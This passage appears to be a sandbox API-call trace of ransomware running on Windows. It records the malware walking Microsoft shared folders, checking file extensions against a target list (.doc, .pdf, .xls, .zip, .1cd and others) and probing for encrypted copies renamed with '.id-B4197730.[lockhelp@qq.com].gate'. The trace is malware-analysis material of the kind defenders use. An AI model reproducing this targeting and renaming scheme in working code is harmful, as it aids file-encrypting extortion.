[0114.078] lstrlenW (lpString=".jpg") returned 4 [0114.078] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0114.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0114.078] lstrlenW (lpString=".doc") returned 4 [0114.078] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.078] lstrlenW (lpString=".docx") returned 5 [0114.078] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0114.078] lstrlenW (lpString=".pdf") returned 4 [0114.078] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.078] lstrlenW (lpString=".xls") returned 4 [0114.078] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.078] lstrlenW (lpString=".xlsx") returned 5 [0114.078] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0114.078] lstrlenW (lpString=".ppt") returned 4 [0114.078] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0114.078] lstrlenW (lpString=".zip") returned 4 [0114.078] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.078] lstrlenW (lpString=".rar") returned 4 [0114.078] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.078] lstrlenW (lpString=".bz2") returned 4 [0114.078] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.079] lstrlenW (lpString=".7z") returned 3 [0114.079] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0114.079] lstrlenW (lpString=".dbf") returned 4 [0114.079] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0114.079] lstrlenW (lpString=".1cd") returned 4 [0114.079] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0114.079] lstrlenW (lpString=".jpg") returned 4 [0114.079] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.079] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0114.079] lstrlenW (lpString="boxed-correct.avi") returned 17 [0114.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0114.088] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=111320) returned 1 [0114.088] CloseHandle (hObject=0x350) returned 1 [0114.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0114.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0114.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0114.088] lstrlenW (lpString=".doc") returned 4 [0114.088] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.088] lstrlenW (lpString=".docx") returned 5 [0114.088] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0114.088] lstrlenW (lpString=".pdf") returned 4 [0114.088] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.088] lstrlenW (lpString=".xls") returned 4 [0114.088] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.088] lstrlenW (lpString=".xlsx") returned 5 [0114.089] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0114.089] lstrlenW (lpString=".ppt") returned 4 [0114.089] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0114.089] lstrlenW (lpString=".zip") returned 4 [0114.089] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0114.089] lstrlenW (lpString=".rar") returned 4 [0114.089] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.089] lstrlenW (lpString=".bz2") returned 4 [0114.089] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.089] lstrlenW (lpString=".7z") returned 3 [0114.089] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0114.089] lstrlenW (lpString=".dbf") returned 4 [0114.089] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0114.089] lstrlenW (lpString=".1cd") returned 4 [0114.089] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0114.089] lstrlenW (lpString=".jpg") returned 4 [0114.089] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0114.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0114.089] lstrlenW (lpString=".doc") returned 4 [0114.089] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.090] lstrlenW (lpString=".docx") returned 5 [0114.090] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0114.090] lstrlenW (lpString=".pdf") returned 4 [0114.090] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.090] lstrlenW (lpString=".xls") returned 4 [0114.090] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.090] lstrlenW (lpString=".xlsx") returned 5 [0114.090] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0114.090] lstrlenW (lpString=".ppt") returned 4 [0114.090] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0114.090] lstrlenW (lpString=".zip") returned 4 [0114.090] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0114.090] lstrlenW (lpString=".rar") returned 4 [0114.090] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.090] lstrlenW (lpString=".bz2") returned 4 [0114.090] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.090] lstrlenW (lpString=".7z") returned 3 [0114.090] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0114.090] lstrlenW (lpString=".dbf") returned 4 [0114.090] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.090] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0114.090] lstrlenW (lpString=".1cd") returned 4 [0114.090] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0114.091] lstrlenW (lpString=".jpg") returned 4 [0114.091] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.091] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0114.091] lstrlenW (lpString="boxed-join.avi") returned 14 [0114.091] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0114.100] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=46622) returned 1 [0114.100] CloseHandle (hObject=0x350) returned 1 [0114.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0114.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.100] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0114.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0114.100] lstrlenW (lpString=".doc") returned 4 [0114.100] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.100] lstrlenW (lpString=".docx") returned 5 [0114.100] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0114.100] lstrlenW (lpString=".pdf") returned 4 [0114.100] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.100] lstrlenW (lpString=".xls") returned 4 [0114.100] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.101] lstrlenW (lpString=".xlsx") returned 5 [0114.101] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0114.101] lstrlenW (lpString=".ppt") returned 4 [0114.101] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0114.101] lstrlenW (lpString=".zip") returned 4 [0114.101] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0114.101] lstrlenW (lpString=".rar") returned 4 [0114.101] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.101] lstrlenW (lpString=".bz2") returned 4 [0114.101] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.101] lstrlenW (lpString=".7z") returned 3 [0114.101] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0114.101] lstrlenW (lpString=".dbf") returned 4 [0114.101] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0114.101] lstrlenW (lpString=".1cd") returned 4 [0114.101] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0114.101] lstrlenW (lpString=".jpg") returned 4 [0114.101] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0114.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0114.101] lstrlenW (lpString=".doc") returned 4 [0114.102] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.102] lstrlenW (lpString=".docx") returned 5 [0114.102] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0114.102] lstrlenW (lpString=".pdf") returned 4 [0114.102] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.102] lstrlenW (lpString=".xls") returned 4 [0114.102] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.102] lstrlenW (lpString=".xlsx") returned 5 [0114.102] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0114.102] lstrlenW (lpString=".ppt") returned 4 [0114.102] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0114.102] lstrlenW (lpString=".zip") returned 4 [0114.102] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0114.102] lstrlenW (lpString=".rar") returned 4 [0114.102] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.102] lstrlenW (lpString=".bz2") returned 4 [0114.102] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.102] lstrlenW (lpString=".7z") returned 3 [0114.102] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0114.102] lstrlenW (lpString=".dbf") returned 4 [0114.102] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0114.103] lstrlenW (lpString=".1cd") returned 4 [0114.103] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0114.103] lstrlenW (lpString=".jpg") returned 4 [0114.103] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.103] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0114.103] lstrlenW (lpString="delete.avi") returned 10 [0114.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0114.103] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=208408) returned 1 [0114.104] CloseHandle (hObject=0x350) returned 1 [0114.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0114.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0114.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0114.104] lstrlenW (lpString=".doc") returned 4 [0114.104] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.104] lstrlenW (lpString=".docx") returned 5 [0114.104] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0114.104] lstrlenW (lpString=".pdf") returned 4 [0114.104] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.104] lstrlenW (lpString=".xls") returned 4 [0114.104] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.104] lstrlenW (lpString=".xlsx") returned 5 [0114.104] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0114.104] lstrlenW (lpString=".ppt") returned 4 [0114.104] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0114.105] lstrlenW (lpString=".zip") returned 4 [0114.105] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0114.105] lstrlenW (lpString=".rar") returned 4 [0114.105] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.105] lstrlenW (lpString=".bz2") returned 4 [0114.105] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.105] lstrlenW (lpString=".7z") returned 3 [0114.105] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0114.105] lstrlenW (lpString=".dbf") returned 4 [0114.105] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0114.105] lstrlenW (lpString=".1cd") returned 4 [0114.105] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0114.105] lstrlenW (lpString=".jpg") returned 4 [0114.105] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0114.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0114.105] lstrlenW (lpString=".doc") returned 4 [0114.105] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.105] lstrlenW (lpString=".docx") returned 5 [0114.105] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0114.105] lstrlenW (lpString=".pdf") returned 4 [0114.106] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.106] lstrlenW (lpString=".xls") returned 4 [0114.106] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.106] lstrlenW (lpString=".xlsx") returned 5 [0114.106] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0114.106] lstrlenW (lpString=".ppt") returned 4 [0114.106] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0114.106] lstrlenW (lpString=".zip") returned 4 [0114.106] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0114.106] lstrlenW (lpString=".rar") returned 4 [0114.106] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.106] lstrlenW (lpString=".bz2") returned 4 [0114.106] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.106] lstrlenW (lpString=".7z") returned 3 [0114.106] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0114.106] lstrlenW (lpString=".dbf") returned 4 [0114.106] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0114.106] lstrlenW (lpString=".1cd") returned 4 [0114.106] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0114.106] lstrlenW (lpString=".jpg") returned 4 [0114.106] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.107] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0114.107] lstrlenW (lpString="join.avi") returned 8 [0114.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0114.107] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=199994) returned 1 [0114.107] CloseHandle (hObject=0x350) returned 1 [0114.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0114.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.108] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0114.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0114.184] lstrlenW (lpString=".doc") returned 4 [0114.184] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.184] lstrlenW (lpString=".docx") returned 5 [0114.184] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0114.184] lstrlenW (lpString=".pdf") returned 4 [0114.184] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.184] lstrlenW (lpString=".xls") returned 4 [0114.184] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.184] lstrlenW (lpString=".xlsx") returned 5 [0114.184] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0114.184] lstrlenW (lpString=".ppt") returned 4 [0114.184] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.184] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0114.184] lstrlenW (lpString=".zip") returned 4 [0114.184] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0114.184] lstrlenW (lpString=".rar") returned 4 [0114.185] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.185] lstrlenW (lpString=".bz2") returned 4 [0114.185] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.185] lstrlenW (lpString=".7z") returned 3 [0114.185] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0114.185] lstrlenW (lpString=".dbf") returned 4 [0114.185] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0114.185] lstrlenW (lpString=".1cd") returned 4 [0114.185] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0114.185] lstrlenW (lpString=".jpg") returned 4 [0114.185] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0114.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0114.185] lstrlenW (lpString=".doc") returned 4 [0114.185] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.185] lstrlenW (lpString=".docx") returned 5 [0114.185] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0114.185] lstrlenW (lpString=".pdf") returned 4 [0114.185] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.185] lstrlenW (lpString=".xls") returned 4 [0114.185] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.185] lstrlenW (lpString=".xlsx") returned 5 [0114.185] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0114.185] lstrlenW (lpString=".ppt") returned 4 [0114.185] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0114.185] lstrlenW (lpString=".zip") returned 4 [0114.185] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0114.185] lstrlenW (lpString=".rar") returned 4 [0114.185] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.185] lstrlenW (lpString=".bz2") returned 4 [0114.185] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.186] lstrlenW (lpString=".7z") returned 3 [0114.186] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0114.186] lstrlenW (lpString=".dbf") returned 4 [0114.186] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0114.186] lstrlenW (lpString=".1cd") returned 4 [0114.186] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65 [0114.186] lstrlenW (lpString=".jpg") returned 4 [0114.186] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.186] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0114.186] lstrlenW (lpString="auxpad.xml") returned 10 [0114.186] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0114.417] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=212) returned 1 [0114.417] CloseHandle (hObject=0x358) returned 1 [0114.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0114.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-B4197730.[lockhelp@qq.com].gate" 